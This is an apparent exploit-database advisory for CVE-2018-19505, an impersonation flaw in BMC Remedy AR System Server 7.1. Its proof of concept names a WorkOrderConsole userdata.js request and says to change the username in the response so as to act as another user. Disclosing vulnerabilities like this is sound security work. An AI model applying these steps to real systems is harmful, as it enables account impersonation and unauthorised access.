<!-- # Exploit Title: Impersonation may lead to incorrect user context in Remedy AR System Server in BMC Remedy 7.1 # Date: 23-11-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://www.bmc.com/ # Software Link: http://www.bmc.com/ # Version: Impersonation may lead to incorrect user context in Remedy AR System Server in BMC Remedy 7.1 # Tested on: all # CVE : 1CVE-2018-19505 # Category: webapps 1. Description Remedy AR System Server in BMC Remedy 7.1 may fail to set the correct user context in certain impersonation scenarios, which can allow a user to act with the identity of a different user. 2. Proof of Concept Impersonation may lead to incorrect user context in Remedy AR System Server in BMC Remedy 7.1. Go to WorkOrderConsole: In Request: /WOI:WorkOrderConsole/Default+User+View+(Support)/userdata.js?winname=SERVERWOIWOI+WORKOrderConsole12345643244 (last values can change) In response change the user value in function UserData_Init(){ARKWSetup(2,"USERNAME_TO_CHANGE","....more values). 3. Solution: Update to the latests version Remedy AR System Server in BMC Remedy 8.1. -->